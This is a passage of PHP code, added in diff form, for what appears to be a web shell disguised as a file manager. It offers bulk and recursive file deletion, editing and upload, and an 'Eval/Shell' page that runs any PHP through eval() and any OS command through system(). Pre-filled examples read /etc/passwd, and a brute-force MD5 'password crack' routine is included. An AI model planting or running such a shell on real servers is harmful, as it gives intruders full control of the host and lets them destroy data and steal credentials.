found (go back and set checkbox)")."!"); + $df="$d"; + + switch ($c2) { + + case "files": + echo "<h3>".mm("Deleting all files in")." <tt>$df</tt> ...</h3>"; + if ($dir=opendir($df)) { + while (($file=readdir($dir))!==false) { + if ($file=="." || $file=="..") continue; + if (is_dir($df.$file)) { + echo "<big><tt><b>>$file</b></tt></big> ".mm("skip").": ".filetype($df.$file)."<br>"; + } + elseif (is_file($df.$file)) { + echo "<big><tt><b><font color=red>$file</font></b></tt></big> ".mm("deleting")."..."; + unlink($df.$file); + echo "<br>"; + } + else { + echo "<big><tt><b>$file</b></tt></big> ".mm("skip").": ".filetype($df.$file)."<br>"; + } + } + } + closedir($dir); + $ref="$self?c=l&d=".urlencode($d); + break; + + case "dir": + echo "<h3>".mm("Deleting all dir/files (recursive) in")." <tt>$df</tt> ...</h3>"; + dir_delete($df); + $ref="$self?c=l&d=".urlencode(realpath($d."/..")); + break; + } + //header("Location: $ref"); + echo "<p><a href=$ref>".mm("DONE, go back")."</a>"; + break; + +case "copy": + + if (!$write_access) exitw(); + + if (!isset($from) || !@file_exists($from) || !@realpath($from)) + exit("err# copy 1, file [$from] not found"); + if (!isset($to) || strlen($to)==0) + exit("err# copy 2, file [$to] not found"); + echo "Copy: ....<hr size=1 noshade>"; + if (!copy($from,$to)) { + echo "<hr size=1 noshade><font color=red><b>Error!</b></font><p>"; + echo "View <a href=$self?c=l&d=".urlencode(dirname($from)).">".dirname($from)."<p>"; + } + else + echo "".mm("DONE")."!<p>"; + echo "View <a href=$self?c=l&d=".urlencode(dirname($from)).">".dirname($from)."</a> (dir 'from')<p>"; + echo "View <a href=$self?c=l&d=".urlencode(dirname($to)).">".dirname($to)."</a> (dir 'to')<p>"; + break; + + + + +case "e": // edit + + if (!$write_access) exitw(); + + if (!@realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found").""); + echo $GLOBALS['html']; + up($d,$f); + echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>".mm("back to directory")."</b> &gt;&gt;&gt;</nobr></a>"; + up_link($d,$f); + $msg=""; + if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (<font color=red><b>".mm("ONLY READ ACCESS (don't edit!)")."</b></font>)"; + else fclose($fi); + if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (<font color=red><b>".mm("Can't READ file - access denied (don't edit!)")."</b></font>)"; + else fclose($fi); + if ($msg=="") $msg="(<font color=#009900><b>".mm("full read/write access")."</b></font>)"; + echo "<p><b>".mm("EDIT FILE")."</b> $msg<p>"; + + if (!$fi=@fopen($d.$f,"rb")) exit("".mm("can't open, access denied").""); + echo "<form action=$self method=post> + <input type=hidden name=c value=e_submit> + <input type=hidden name=d value=\"".htmlspecialchars($d)."\"> + <input type=hidden name=f value=\"".htmlspecialchars($f)."\"> + <textarea name=text cols=70 rows=20 style='width: 100%;'>". + htmlspecialchars(fread($fi,filesize($d.$f)))."</textarea><p> + <input type=submit value=' ".mm("SAVE FILE (write to disk)")." '> + <input type=checkbox name=confirm value=1 id=conf> + <label for=conf><font color=red><b><= confirm</b></font></label> + </form>"; + + break; + + +case "e_submit": + + if (!$write_access) exitw(); + + if (!realpath($d.$f) || !file_exists($d.$f)) exit("file not found"); + if (!isset($text)) exit("err# e_submit 1"); + if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)"); + if (!$fi=@fopen($d.$f,"w+")) exit("access denied"); + fwrite($fi,$text); + fclose($fi); + Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f)); + echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">SAVE DONE (go back)!</a>"; + + break; + + + +case "newfile_submit": + + if (!$write_access) exitw(); + + if (!isset($text) || !isset($df)) exit("err# newfile_submit 1"); + if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)"); + if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]"); + fwrite($fi,$text); + fclose($fi); + Header("Location: $self?c=l&d=".urlencode(dirname($df))); + echo "<a href=$self?c=i&d=".urlencode(dirname($df)).">SAVE NEW FILE DONE (go back)!</a>"; + break; + + +case "fileupload_submit": + + if (!$write_access) exitw(); + if (!isset($df)) exit("err# newfile_submit 1"); + if (!isset($df3)) exit("err# newfile_submit 2"); + + $fname=""; + if (isset($df2)) { + if (!preg_match("~([^/]+)$~",$HTTP_POST_FILES['userfile']['name'],$ok)) { + exit("Upload failed: can't detect file name"); + } + $fname=$ok[1]; + } + else { + $fname=$df3; + } + if ($fname=="") + exit("".mm("You mast checked 'create file name automatic' OR typed file name!").""); + if (isset($df4)) $fname=strtolower($fname); + + echo "Temp file: ".$HTTP_POST_FILES['userfile']['tmp_name']."<br>"; + echo "Origin file name: ".$HTTP_POST_FILES['userfile']['name']."<br>"; + echo "File size: ".$HTTP_POST_FILES['userfile']['size']."<br>"; + if ($df[strlen($df)-1]!="/") $df.="/"; + echo "".mm("SAVING TO").": <font color=blue>$df</font><font color=red><b>$fname</b></font><p>"; + + ob(); + $ok=copy($HTTP_POST_FILES['userfile']['tmp_name'],"$df$fname"); + obb(); + if (!$ok) exit("<font color=red><b>".mm("Sorry, access denied")."</b></font> $obb"); + + if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df); + Header("Location: $ref"); + echo "<a href='$ref'>NEW FILE SAVED</a>"; + + break; + + +case "newdir_submit": + + if (!$write_access) exitw(); + if (!isset($df)) exit("err# newdir_submit 1"); + ob(); + if (!mkdir($df,$mkdir_mode)) { + obb(); + exit("Access denied $obb"); + } + obb(); + if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df); + Header("Location: $ref"); + echo "<a href='$ref'>Go to new directory!</a>"; + + break; + + +case "t": + + echo "<h3> + <a href='$self'>START PAGE</a> | + <a href='$self?c=t'>Eval/Shell</a> | + <a href='$self?c=codes'>Character map</a> + </h3>"; + + + if (!$write_access) exitw(); + error_reporting(2038); + + if (!isset($php)) { + $php="/* line 1 */\n\n// ".mm("for example, uncomment next line").":\nphpinfo();\n\n//readfile(\"/etc/passwd\");\n\n/* line 8 */"; + $skipphp=1; + $pre='checked'; + $nlbr=''; + $xmp=''; + $htmls='checked'; + } + + echo "<b>".mm("Eval PHP code")."</b> (".mm("don't type")." \"&lt;?\" ".mm("and")." \"?&gt;\") +<form action=$self method=post> +<input type=hidden name=c value=t> +<textarea name=php rows=".(!isset($skipphp)?10:4)." cols=60 style='width:100%;'>$php</textarea> +<input type=checkbox name=pre value='checked' $pre id='pre'> + <label for='pre'> add &lt;pre&gt;</label> &nbsp; +<input type=checkbox name=xmp value='checked' $xmp id='xmp'> + <label for='xmp'> add &lt;xmp&gt;</label> &nbsp; +<input type=checkbox name=htmls value='checked' $htmls id='htmls'> + <label for='htmls'> add htmlspecialchars()</label> &nbsp; +<input type=checkbox name=nlbr value='checked' $nlbr id='nlbr'> + <label for='nlbr'> add nl2br()</label><br> +<input type=submit></form> +<P>"; + + if (!isset($shell)) $skipshell=1; + + if (!isset($skipphp)) { + echo "<hr size=1 noshade>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; + if ($pre<>'') echo "<pre>"; + if ($xmp<>'') echo "<xmp>"; + if ($nlbr<>'' || $htmls<>'') { + ob_start(); + } + if ($phpeval_access) eval($php); + else die("Sorry, function eval() disabled."); + if ($nlbr<>'' || $htmls<>'') { + $tmp=ob_get_contents(); + ob_end_clean(); + if ($htmls<>'') $tmp=htmlspecialchars($tmp); + if ($nlbr<>'') $tmp=nl2br($tmp); + echo $tmp; + } + if ($xmp<>'') echo "</xmp>"; + if ($pre<>'') echo "</pre>"; + echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; + echo "</table></table></table></table></table></table></table></table></table></center></table><hr size=1 noshade>"; + } + + if (!isset($shell)) { + $shell="#".mm("example (remove comments '#')").": \n\n#cat /etc/passwd;\n\n#ps -ax\n\n#uname -a"; + $skipshell=1; + } + echo "<P><b>".mm("Shell commands")."</b> +<form action=$self method=post> +<input type=hidden name=c value=t> +<textarea name=shell rows=".(!isset($skipshell)?10:4)." cols=60 style='width:100%;'>$shell</textarea><br> +<input type=submit></form> +<P>"; + if (!isset($skipshell)) { + echo "<hr size=1 noshade>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<xmp>"; + if ($system_access) system($shell); + else die("Sorry, function system() disabled."); + echo "</xmp>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n + </table></table></table></table></table></table></table></table></table></center><hr size=1 noshade>"; + } + + + $ttype=array(1=>"MD5",7=>"Decode MD5 (password crack)<br>", + 2=>"Base64",3=>"Base64 + chunk",4=>"Base64 + chunk + quotes", + 5=>"Decode Base64<br>", + 6=>"UnixTime=>Date(".time().")", + 8=>"MKtime: YYYY MM DD [hh [mm [ss]]]<br>", + 9=>"Translit=&gt;RusText", 14=>"RusText=&gt;Translit<br>", + 10=>"cp1251=&gt;koi8r",11=>"koi8r=&gt;cp1251",12=>"cp1251=&gt;mac",13=>"mac=&gt;cp1251", + 15=>"koi8r=&gt;mac",16=>"mac=&gt;koi8r", + ); + echo "<P><b>".mm("Universal convert")."</b>"; + + echo "<a name=convert></a><form action='$self#convert' method=post>"; + foreach ($ttype as $k=>$v) + echo "&nbsp;&nbsp;<nobr><input ".($k==$name?"checked":"")." type=radio name=name value=$k id=x$k><label for=x$k>$v</label></nobr> "; + + echo " +<input type=hidden name=c value=t> +<textarea name=convert rows=".(isset($convert)?10:3)." cols=60 style='width:100%;'>".htmlspecialchars($convert)."</textarea><br> +<input type=submit><br>"; + + + $russtr1="JCUKENGZH_FYVAPROLDESMIT_Bjcukengzh_fyvaproldesmit_b"; + $russtr2=""; + function from_translit($ss) { + global $russtr1,$russtr2; + $w=array("Sch",'',"SCH",'',"ScH",'',"SCh",'',"sch",'',"Jo",'',"JO",'',"jo",'', + "Zh",'',"ZH",'',"zh",'',"Ch",'',"CH",'',"ch",'',"Sh",'',"SH",'',"sh",'', + "##",'',"''",'',"Eh",'',"EH",'',"eh",'',"Ju",'',"JU",'',"ju",'',"Yu",'', + "YU",'',"yu",'',"YA","","Ya","","ya","","Ja",'',"JA",'',"ja",''); + $c=count($w); + for ($i=0; $i<$c; $i+=2) $ss=str_replace($w[$i],$w[$i+1],$ss); + $ss=strtr($ss,$russtr1,$russtr2); + $ss=preg_replace("!([-]+)~([-]+)!is","\\1\\2",$ss); + return $ss; + } + function to_translit($ss) { + global $russtr1,$russtr2; + $ss=strtr($ss,$russtr2,$russtr1); + $ss=str_replace( + array('', '', '', '', '', '', '', '', '', '', '', '', '', '', ), + array('SH','SCH','ZH','YA','CH','YU','YO','sh','sch','zh','ya','ch','yu','yo',), + $ss); + return $ss; + } + + if (isset($convert)) { + if (!isset($name)) $name="0"; + $out=""; + switch ($name) { + + case 1: + $out=md5($convert); + break; + + case 2: + $out=base64_encode($convert); + break; + + case 3: + $out=chunk_split(base64_encode($convert)); + break; + + case 4: + $out=base64_encode($convert); + $out=substr(preg_replace("!.{1,76}!","'\\0'.\n",$out),0,-2); + break; + + case 5: + $out=base64_decode($convert); + break; + + case 6: + $convert=intval($convert); + if ($convert==0) $convert=time(); + $out="Unixtime=$convert\n---Day/Month/Year--\n". + date("d/m/Y H:i:s",$convert)."\n". + date("d-m-Y H:i:s",$convert)."\n". + date("d.m.Y H:i:s",$convert)."\n". + "---Month/Day/Year--\n". + date("m/d/Y H:i:s",$convert)."\n". + date("m-d-Y H:i:s",$convert)."\n". + date("m.d.Y H:i:s",$convert)."\n". + "---------SQL-------\n". + date("Y-m-d H:i:s",$convert)."\n". + date("Y m d H i s",$convert)."\n". + date("YmdHis",$convert); + break; + + case 8: + $c=explode(" ",trim(preg_replace("! +!"," ",$convert))); + if (count($c)<3 || count($c)>6) $out="Bad value. Type: 2000 12 31 or 2000 12 31 12 59 59"; + else { + if (empty($c[0])) $c[0]=1970; + if ($c[0]<50) $c[0]=2000+$c[0]; + if ($c[0]>50 && $c[0]<100) $c[0]=1900+$c[0]; + if (empty($c[1])) $c[1]=1; + if (empty($c[2])) $c[2]=1; + if (empty($c[3])) $c[3]=0; + if (empty($c[4])) $c[4]=0; + if (empty($c[5])) $c[5]=0; + $out="TIME: $c[0]-$c[1]-$c[2] $c[3]:$c[4]:$c[5]\nMKTIME: ".mktime($c[3],$c[4],$c[5],$c[1],$c[2],$c[0]); + } + break; + + case 9: + $out=from_translit($convert); + break; + + case 14: + $out=to_translit($convert); + break; + + case 10: $out=convert_cyr_string($convert,'w','k'); break; + case 11: $out=convert_cyr_string($convert,'k','w'); break; + case 12: $out=convert_cyr_string($convert,'w','m'); break; + case 13: $out=convert_cyr_string($convert,'m','w'); break; + case 15: $out=convert_cyr_string($convert,'k','m'); break; + case 16: $out=convert_cyr_string($convert,'m','k'); break; + + case 7: + echo "<script>top.location.href='$self?c=md5crack&text=$convert'</script>"; + break; + + case 0: + $out="Please select anythink function in list. Example: type 'test' and select 'md5'. Then click 'Submit'."; + break; + + default: + $out='Sorry, this function not work (try new versions)'; + } + echo "<P><hr size=1 noshade>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<pre><xmp>$out</xmp></pre>\n\n\n\n\n\n\n\n\n<hr size=1 noshade>"; + } + + break; + + +case "md5crack": + + echo "<form action=$self name=main><input type=hidden name=c value=md5crack> + <h2>Decode MD5 (<a href=$self>home</a>|<a href=$self?c=t&name=1#convert>md5</a>)</h2><P>"; + + if (!isset($go)) { + if (!isset($fullqty)) $fullqty=""; + if (!isset($fulltime)) $fulltime=""; + if (!isset($php)) $php=""; + if (!isset($from)) $from=""; + echo "<b>STRING</b>: <input type=text name=text value='$text' size=40> (only 32 char: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f)"; + echo "<P><b>Range</b>: <input type=text name=php value=\"".htmlspecialchars($php)."\" size=90><br>"; + $chars=array( + 'a-z'=>"abcdefghijklmnopqrstuvwxyz", + 'a-z,A-Z'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", + 'a-z,0-9'=>"abcdefghijklmnopqrstuvwxyz0123456789", + 'a-z,A-Z,0-9'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", + 'a-z,A-Z,0-9,other'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#\$%^&*()_+-=[]{};:,<.>/\"'\\"); + $i=0; + foreach ($chars as $k=>$v) { + echo "<script>str$i=\"".str_replace("\"","\\\"",str_replace("\\","\\\\",$v))."\"</script> + <a href='' onclick=\"document.main.php.value=str$i;return false\">$k</a> &nbsp; "; + $i++; + } + echo "<P> + <b>Start from</b>: <input type=text size=70 name=from value='$from'><P> + <input type=hidden name=go value=1> + <input type=hidden name=fullqty value=$fullqty> + <input type=hidden name=fulltime value=$fulltime> + <input type=submit value='Start!'><form>"; + } + else { + + function mdgetword() { + global $php,$from,$word; + $word=""; + for ($i=0; $i<count($from); $i++) $word.=$php[$from[$i]]; + } + + $fulltime=@intval($fulltime); + $fullqty=@intval($fullqty); + + $text=strtolower($text); + if (!preg_match("!^[0-9a-f]{32}$!",$text)) exit("md5 bad format: must be 32 bytes, range 0-9,a,b,c,d,e,f"); + if (!isset($php) || strlen($php)==0) $php="qwertyuiopasdfghjklzxcvbnm"; + if (!isset($from) || !preg_match("!^([0-9]+):(([0-9]+,)*[0-9]+)$!",$from,$ok)) { + $pos=0; + $from=0; + } + else { + $pos=$ok[1]; + $from=$ok[2]; + } + $from=explode(",",$from); + if (!is_array($from) || !count($from) || count($from)==1 && $from[0]==0) { + $from=array(0); + if (md5("")===$text) exit("** DONE **<br><br>md5('')=$text<br><br>(try empty string, 0 bytes!)"); + } + $phplen=strlen($php); + mdgetword(); + $poslen=strlen($word); + if ($pos<0 || $pos>=$poslen) $pos=0; + + for ($i=0; $i<10; $i++) { echo "<!-- -->\r\n"; flush(); } + + echo "<h3><a href='$self?c=md5crack". + "&from=".urlencode("$pos:".implode(",",$from)). + "&text=".urlencode($text). + "&php=".urlencode($php). + "&fulltime=$fulltime&fullqty=$fullqty". + "'>Save this link</a> - click for break and save current position</h3>"; + flush(); + + echo " + MD5_HASH=$text<br> + CURRENT_WORD=$word<br> + CURRENT_DIGIT=$pos:".implode(",",$from)."<br> + RANGE=".htmlspecialchars($php)."<br> + ProcessTime=$fulltime sec (".(floor($fulltime/60/60))."h)<br> + Calculation(qty)={$fullqty}0000<p><font face=courier>"; + flush(); + + + $fullsum=pow($phplen,$poslen); + $time1=time(); + $i=0; + + while (1) { + + $i++; + if ($i>50000) { + $time=time()-$time1; + if ($time>20) break; + $i=0; + $sum=0; + for ($j=1; $j<count($from); $j++) $sum+=$from[$j]*pow($phplen,$j); + printf("<nobr><b>%02.2f%%</b> ($word) %02dsec |</nobr> \r\n", + $sum*100/$fullsum,$time); + flush(); + $fullqty+=5; + } + + if (md5($word)===$text) + exit("<P><font color=red size=+1><b>** DONE **<P><tt>[$word]=[$text]</tt></b></font> + <script> window.focus(); window.focus(); setTimeout(\"alert('Done!')\",100);</script>"); + $from[$pos]++; + if ($from[$pos]==$phplen) { + $flag=1; + $from[$pos]=0; + $word[$pos]=$php[0]; + for ($pos=$pos+1; $pos<$poslen; $pos++) { + if ($from[$pos]+1<$phplen) { + $from[$pos]++; + $word[$pos]=$php[$from[$pos]]; + $flag=0; + $pos=0; + break; + } + else { + $from[$pos]=0; + $word[$pos]=$php[0]; + } + } + if ($flag) { + $from[]=0; + $poslen=count($from); + $word.=$php[0]; + $pos=0; + $fullsum=pow($phplen,$poslen); + } + } + $word[$pos]=$php[$from[$pos]]; + } + + $fulltime+=time()-$time1; + if ($i>5000) $fullqty++; + $url="$self?c=md5crack". + "&from=".urlencode("$pos:".implode(",",$from)). + "&text=".urlencode($text). + "&php=".urlencode($php). + "&fulltime=$fulltime&fullqty=$fullqty&go=1"; + echo "<script>location.href=\"$url\"</script><a href='$url'>click here</a>"; + + } + + break; + + +case "phpinfo": + + phpinfo(); + break; + + +case "codes": + + error_reporting(2039); + if (!isset($limit)) $limit=999; + if (!isset($fontsize)) $fontsize="300%"; + + echo "<h3> + <a href='$self'>START PAGE</a> | + <a href='$self?c=t'>Eval/Shell</a> | + <a href='$self?c=codes'>Character map</a> + </h3>"; + + echo "<h3>".mm("Character map (symbol codes table)")."</h3> + <form action=$self method=get> + <input type=hidden name=c value=\"codes\"> + <select name=fontname size=1> + <option value='Webdings'>====[ ".mm("Select font")." ]===="; + + foreach (array('Arial','Courier','Comic Sans MS','Fixedsys','Small fonts','Symbol', + 'System','Tahoma','Terminal','Times New Roman','Verdana', + 'Webdings','Wingdings','Wingdings 2','Wingdings 3') as $v) + echo "<option".($fontname==$v?" selected":"").">$v"; + + echo "</select> + ".mm("or type other")." + <input size=13 type=text name=fontname2 value=\"$fontname2\">. + ".mm("Font size").": <input size=6 type=text name=fontsize value=\"$fontsize\">.<br> + ".mm("Code limit").": + <input type=radio name=limit value=255 id=a1 ".($limit==255?"checked":"")."><label for=a1>0-255</label> + <input type=radio name=limit value=999 id=a2 ".($limit==999?"checked":"")."><label for=a2>0-999 </label> + <input type=radio name=limit value=9999 id=a3 ".($limit==9999?"checked":"")."><label for=a3>0-9999</label> + <input type=submit value='".mm("Generate table")." !'></form><P>"; + + if (!isset($fontname)) break; + if (!empty($fontname2)) $fontname=$fontname2; + echo " + <STYLE> + .codes { font: $fontsize $fontname; text-align: center; } + .z { font: 12pt Fixedsys; color: #cccccc; } + </STYLE> + <table class=codes border=0 cellspacing=0 cellpadding=1>"; + ?> + <SCRIPT> + m=8; + n=1; + s=new String(""); + s=s+"<tr><td class=z>&amp;#0000;</td><td>&nbsp;</td>"; + for (i=1; i<=<?php echo $limit; ?>; i++) { + if (i<10) x="000"+i; + else if (i<100) x="00"+i; + else if (i<1000) x="0"+i; + else x=i; + if (n%m==0) s=s+"<tr>"; + s=s+"<td class=z>&amp;#"+x+";</td>"; + s=s+"<td>&#"+x+";</td>"; + if (n%m+1==m) s=s+"</tr>"; + if (s.length>500) { + document.write(s); + s="" + } + n++; + } + document.write(s); + </SCRIPT> + <?php + + echo "</table>"; + break; + + + +case "img": + + unset($img); +$img=array( +'dir'=> +'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'. +'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'. +'/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=', +'fon'=> +'R0lGODlhQAYEALMAAAAAAP///6bK8A4obRs2eSlFhDZTkEVjnVRyqWKCtnCQwXyezIiq1pO24J3A'. +'6P///yH5BAEAAA8ALAAAAABABgQAAAT/cMhJq704E7n78EQXjmRpnmcRqizRsgUcz3Rt37QR63zR'. +'GzygcEgsGo8HYNKQbDKfh2Z0Sq1ar9goQsvdeg/eMGJMLpvPaHRivG4j3O14Yk6v2+/4u2K+7yf8'. +'Cn2Bg4SFhoeGC4GKjAqNC4yQkpOUlZaTDJCZmwubngygoaKjpKUNDKepqKipDa6vsLGysg4Ntbe2'. +'tg63u72+v8AOArvDxcLFAsnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx'. +'8vPSGfb3GCAfHBP6IvwgRKBIscJFwREvXMRYkVCGQhw1dPiYSJHiDx8SLwLBeKSjkyUg/5VAGRnl'. +'CUkmWVKCWfmF5UqXX8bAZJmmJpubbt6QWaNzTs+ccOTkwbPnj9GjfIwCKspUqSBEiRxJnbpI6qNG'. +'Vh1d2sopUydNYEF18tp1bClTq06JUqvK1aq0rGbNwvUKl11deIP9Mkasr7Fkwo4do0e4sOHDiBMr'. +'Xsy4sePHkCNLnkzZHL7LmC9s2LdZ34eAAkOjUGGCNAyEBhkqfDiDNcTXGS1O7IFx9sYhHDuKRCIy'. +'pBSSUqgAV7kFS/GXMcHIXK6cDEybOm+e4emzp/Wgdd7E0T50aNNAdADxeTroT3moVQspWrT+0dRI'. +'k7Ju/VrJK/2ynsyG+nr2LSlVrMCVlsIsA8pVCyx05bJLXrzoFQxff0WITGUUVmjhhRhmqOGGHHbo'. +'4YcgepPZiP3wA9A+nJ0o0GchsDjQiwaRFiNCL7R2Wo2vRZRDRbJpdJsQueWm2xImfdTbbkYKNwUU'. +'KjXp0pPMJScGTdBVeZ10V2J3XXdEJaWUHUWZ9yV4ZDqFHnrrZVWVe5VYNZ8l9pF1H3/87ddVf6Oo'. +'JSCAcMHSp1wGKujKXQsGo8uDvgwTWGCKKjMYYCFGKumklFZq6aWYZqrppstEAAA7', +'mode'=> +'R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA'. +'AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO'. +'2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/'. +'dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=', + +'refresh'=> +'R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA'. +'AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY'. +'3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ'. +'R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=', +'search'=> +'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//'. +'/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap'. +'s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD'. +'AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr'. +'Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==', +'setup'=> +'R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC'. +'QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA'. +'ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB'. +'qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE'. +'OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==', +'up'=> +'R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA'. +'AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg'. +'+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV'. +'IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==', +'sort_asc'=> +'R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa'. +'SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==', +'sort_desc'=> +'R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb'. +'SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=', +'exe'=> +'R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7'. +'WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt'. +'xhIAOw==', +'html'=> +'R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz'. +'c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P'. +'KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk'. +'Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR'. +'ADs=', +'txt'=> +'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ'. +'SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7'. +'UpPWG3Ig6Hq/XmRjuZwkAAA7', +'unk'=> +'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANE'. +'SLPcSzCqQKsVQ8JhexBBJnGVYFZACowleJZrRH7lFW8eDbMXaPO1juA2uXiGwBwFKRMeiTPlByrd'. +'yUzYbJao6npVkQQAOw==', +'php'=> +'R0lGODlhEwAQALMAAAAAAP///9fX3d3f7s/S5F1qpmJpjKOqyr7D27i80K+ywEtam4OIk+T/AO7u'. +'7v///yH5BAEAAA8ALAAAAAATABAAAAR08D0wK71VSna47yBHadxhnujRqKRJvC+SJIPKbgJR7DzP'. +'NECNgNFbGI/HhmZQWASezugzsFBKdtJsoEA1aLBTJzTMIDWpRqr6mFgyounswiAgDYjY/FwxGD1K'. +'BAMIg4MJCg41fiUpjAeKjY1+EwCUlZaVGhEAOw==', +'img'=> +'R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV'. +'Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp'. +'qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq'. +'BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw==', +'edit'=> +'R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA'. +'AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze'. +'EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61'. 